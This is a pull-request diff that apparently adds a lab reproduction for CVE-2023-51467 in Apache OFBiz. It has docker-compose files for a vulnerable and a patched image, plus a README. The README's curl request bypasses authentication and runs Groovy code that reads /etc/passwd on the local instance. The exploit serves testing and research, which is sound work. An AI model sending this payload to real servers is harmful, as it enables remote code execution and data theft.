Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions apache/ofbiz/CVE-2023-51467/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
# Reproduction Guide

## Vulnerable Version
### Step 1 – Start the Lab Environment
Start all required containers with Docker Compose using `docker-compose.yml`:

```bash
docker-compose -f docker-compose.yml up -d
```

### Step 2 – Verify the Vulnerability
Issue the following HTTP request to the local instance:
```bash
curl "https://localhost:8443/webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y" -d "groovyProgram=throw+new+Exception('cat /etc/passwd'.execute().text);" -k -v
```
The response body should contains `root:x:`.

## Not Vulnerable Version
### Step 1 – Start the Lab Environment
Start all required containers with Docker Compose using `docker-compose-secure.yml`:

```bash
docker-compose -f docker-compose-secure.yml up -d
```

### Step 2 – Verify the Vulnerability
Issue the following HTTP request to the local instance:
```bash
curl "https://localhost:8443/webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y" -d "groovyProgram=throw+new+Exception('cat /etc/passwd'.execute().text);" -k -v
```
The response body should NOT contains `root:x:`.
6 changes: 6 additions & 0 deletions apache/ofbiz/CVE-2023-51467/docker-compose-secure.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
services:
web:
image: vulhub/ofbiz:18.12.14
ports:
- "8443:8443"
- "5005:5005"
6 changes: 6 additions & 0 deletions apache/ofbiz/CVE-2023-51467/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
services:
web:
image: vulhub/ofbiz:18.12.10
ports:
- "8443:8443"
- "5005:5005"